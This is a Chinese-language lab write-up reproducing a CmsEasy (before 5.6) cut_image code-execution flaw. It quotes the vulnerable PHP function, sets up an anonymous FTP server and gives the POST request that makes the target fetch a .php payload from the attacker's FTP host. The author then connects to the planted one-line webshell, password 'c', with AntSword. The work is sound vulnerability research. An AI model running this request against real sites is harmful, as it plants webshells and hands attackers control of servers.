VulApps-c

Cisco ASA SNMP 远程代码执行漏洞(方程式 EXBA)

有问题,暂时搁置

CmsEasy < 5.6 20161012 cut_image 代码执行漏洞

漏洞相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function cut_image_action() {
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
$thumb=new thumb();
$thumb->set(front::$post['thumb'],'jpg');
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2']-$_POST['x1'],$_POST['y2'] -$_POST['y1']);
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
$save_file='upload/images/'.date('Ym').'/'.$new_name;
@mkdir(dirname(ROOT.'/'.$save_file));
ob_start();
$thumb->out_image($img,null,85);
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
ob_end_clean();
$image_url=config::get('base_url').'/'.$save_file;
//$res['size']=ceil(strlen($img) / 1024);
$res['code']="
//$('#cut_preview').attr('src','$image_url');
$('#thumb').val('$image_url');
alert(lang('save_success'));
";
echo json::encode($res);
}

该函数没有判断$_POST['pic']的后缀,而直接作为上传文件的$new_name的后缀。

搭建ftp

ubuntu16.04 安装vsftpd

1
sudo apt install vsftpd

在配置文件/etc/vsftpd.conf中开启匿名登录

1
anonymous_enable=YES

我尝试使用ftp://username:password@ftp_url来获取图片,虽然人工测试可以获取文件,但是写入payload中并不能正确获取到文件,因此我在此开启了匿名,这样就可以免用户名免密码访问ftp

vsftpd会默认创建一个用户,通过cat /etc/passwd可以查看

1
ftp:x:123:133:ftp daemon,,,:/srv/ftp:/bin/false

在目录/srv/ftp中放入相关文件

POC使用

图片处理

将payload图片的后缀改为.php

虚拟机ip即端口为192.168.24.130:8000

url:http://192.168.24.130:8000/index.php?case=tool&act=cut_image

post-data:

1
2
#pic={padding}ftp://攻击者FTP地址/{payload_file}&w={width}&h={height}&x1=0&x2={width}&y1=0&y2={height}
pic=1ftp://172.17.0.1/1/exp_eval_post_c_700x1120.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120

padding:参考漏洞相关代码base_url相关代码,该padding与网站基地址相关。当(substr($_POST['pic'],0,4) != 'http')时,网站认为该文件是本站文件,则处理文件地址为相对地址。如网站存放在web根目录中,则padding=len('/'),而如果网站存放在子目录cmseasy中,则padding=len('/cmseasy/')

post-data中的ftp地址使用172.17.0.1,因为该测试环境使用docker搭建,与192.168.24.130不同网段,不能访问,因此使用172.17.0.1访问ftp

如果成功会返回(图为上传exp,该步骤相同,所以就不重新上传poc再截图了)

1563951410833
1563951410833

即payload文件会上传到目标服务器上

之后通过上一步骤的回显信息(上图红框内)获取poc访问路径

1563952046080

poc效果:

1563952067455
1563952067455

EXP使用

上传步骤同POC使用

成功上传后可以使用蚁剑连接shell。一句话连接密码为c

1563952370756
1563952370756

效果:

1563952386321
1563952386321